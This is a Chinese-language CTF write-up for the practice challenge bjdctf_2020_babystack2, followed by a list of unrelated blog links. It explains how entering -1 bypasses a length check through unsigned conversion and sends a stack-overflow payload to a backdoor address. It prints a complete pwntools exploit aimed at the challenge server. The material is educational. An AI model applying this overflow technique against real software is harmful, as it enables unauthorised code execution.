PWN手成长之路-07-bjdctf_2020_babystack2-栈溢出+整型溢出
远程交互以下。
file 查看文件属性。64 位,LSB 可执行文件。
checksec 查看文件安全属性。开启了 NX 保护,栈上无法执行。
IDA 打开文件查看 main 函数。
代码流程:让用户输入一个整数,再将其存到 nbytes
变量中,之后通过 if 判断用户输入的整数是否大于 10 了,如果大于则终止程序。若为大于 10,则询问用户的名字,并将该名字存储到 buf
缓冲区中。
解题思路:绕过 if 的判断,使 read()
函数溢出,但是输入大于 10 的整数会触发 exit(-1)
而终止程序,所以就需要一个既小于 10 而又大于 10 的整数。
仔细查看 main 函数,在 read()
函数读取时, 将第一次的输入转换成了 unsigned int,即无符号整数。
unsigned int 是是一种无符号整数类型,即其存储的二进制位全部用于表示数值大小,不包含符号位,它的二进制形式是一个纯数值编码,所有位均参与数值计算。例如,在32位系统中 unsigned int 占用4字节(32位),其取值范围为:0 到 2^32 - 1(即 0 到 4,294,967,295)。
但是,当 unsigned int 与有符号整型混合运算时,有符号数可能被隐式转换为无符号数,导致数值语义变化(如 -1 变为 4294967295)。
所以当我们输入-1时,可以成功绕过if,并且程序在执行到read函数时,读取的字节会变成4294967295个字节。
之后就是溢出 read()
函数,覆盖返回地址。
查看 buf 的栈,可以知道溢出的大小为:0x10+8=0x18→24
并且存在 backdoor
地址为:0x400726
编写exp:
from pwn import *
r=remote('node5.buuoj.cn',25304)
backdoor_addr=0x400726
payload=b'a'*(0x18)+p64(backdoor_addr)
r.sendlineafter('name','-1')
r.sendline(payload)
r.interactive()
PWN!
PWN手成长之路-07-bjdctf_2020_babystack2-栈溢出+整型溢出的更多相关文章
- 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路
我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...
- 架构师成长之路2.2-PXE+Kickstart安装部署
点击返回架构师成长之路 架构师成长之路2.2-PXE+Kickstart安装部署 系统测试环境: 实验环境:VMware Workstation 12 系统平台:CentOS Linux releas ...
- 我的Cocos Creator成长之路1环境搭建以及基本的文档阅读
本人原来一直是做cocos-js和cocos-lua的,应公司发展需要,现转型为creator.会在自己的博客上记录自己的成长之路. 1.文档阅读:(cocos的官方文档) http://docs.c ...
- 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- 架构师成长之路5.7-Saltstack数据系统
点击架构师成长之路 架构师成长之路5.7-Saltstack数据系统 1. Saltstack的两种数据系统 Grains Pollars 2. Saltstack数据系统---Grains Grai ...
- (转)Python成长之路【第九篇】:Python基础之面向对象
一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...
- redis成长之路——(二)
redis操作封装 针对这些常用结构,StackExchange.Redis已经做了一些封装,不过在实际应用场景中还必须添加一些功能,例如重试等 所以对一些常功能做了一些自行封装SERedisOper ...
- redis成长之路——(一)
为什么使用redis Redis适合所有数据in-momory的场景,虽然Redis也提供持久化功能,但实际更多的是一个disk-backed的功能,跟传统意义上的持久化有比较大的差别,那么可能大家就 ...
- 【腾讯Bugly干货分享】JSPatch 成长之路
本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/579efa7083355a9a57a1ac5b Dev Club 是一个交流移动 ...
随机推荐
- ETL集成工具丨如何运用ETLCloud单步调试断点功能
在现代数据处理领域,ETLCloud 的单步调试断点功能正成为数据管理的重要工具.ETLCloud 是一个强大的云端数据处理平台,它提供了灵活的单步调试功能,使得用户能够逐步跟踪和分析数据处理流程.本 ...
- ICEE-Power-IGBT(电压驱动型, 绝缘栅双极型晶体管)的功率转换实例: 电磁加热
电磁加热器是用IGBT模块实现小电压信号控制超大电流调制成高频高功率电磁感应电能. IGBT模块全称"绝缘栅双极型晶体管"由BJT(双极型三极管)和MOS(缘栅型场效应管)组成的复 ...
- win11系统出现内部错误2203的问题
有不少深度系统的win11专业版用户,在电脑上安装软件时提示2203的内部错误的问题,导致软件安装失败,这该如何解决呢?如果您也遇到这个问题不知道如何解决.就来看看深度技术小编整理的解决方案,希望有所 ...
- 深度技术解决Win11专业版任务栏卡死的问题
近来有一位电脑基地的用户,遇到在win11专业版系统里面,点击任务栏出现卡死的问题?下面,深度技术系统小编就为大家分享具体的解决方法. Windows 11 专业版出现任务栏卡死的情况,可以通过以下方 ...
- CF1930D1 - Sum over all Substrings (Easy Version)
对于每一个 \(f(i, j)\),我们考虑如何计算.我们发现,\(\texttt{1010}\) 式的字符串很有用,所以这启发我们如果遇到了一个模式 \(p_i = \texttt{'1'}\),那 ...
- GlobalCache 工具类
package com.neo.config;import org.springframework.stereotype.Component;import java.util.Map;import j ...
- git拉取远程指定分支到本地
git拉取远程指定分支到本地 以前写自己模块的时候,曾经建了一个本地分支dev,然后这个分支很久没有使用了,最近又要使用这个分支dev,然后要将远程仓库master分支上的内容同步到我本地dev分支 ...
- 使用 import () 生产环境会单独多 build 一个文件
复现 这样写在 js (业务代码)中 x if(dev) { import () } 解决办法 使用 require if(dev) { require('./assets/dev/blog-comm ...
- drf从入门到精通
前后端开发模式 API接口.接口测试工具postman.restful规范.序列化与反序列化.djangorestframework快速使用 Django Rest_Framework rest-fr ...
- python学习背景
目录 基础软件介绍 学习历程简介 学习建议 软件安装案例 路径的概念 typora主要功能介绍 markdown常用语法 计算机及数据本质 文件后缀名的意义 计算机五大组成部分详解 三大核心硬件 操作 ...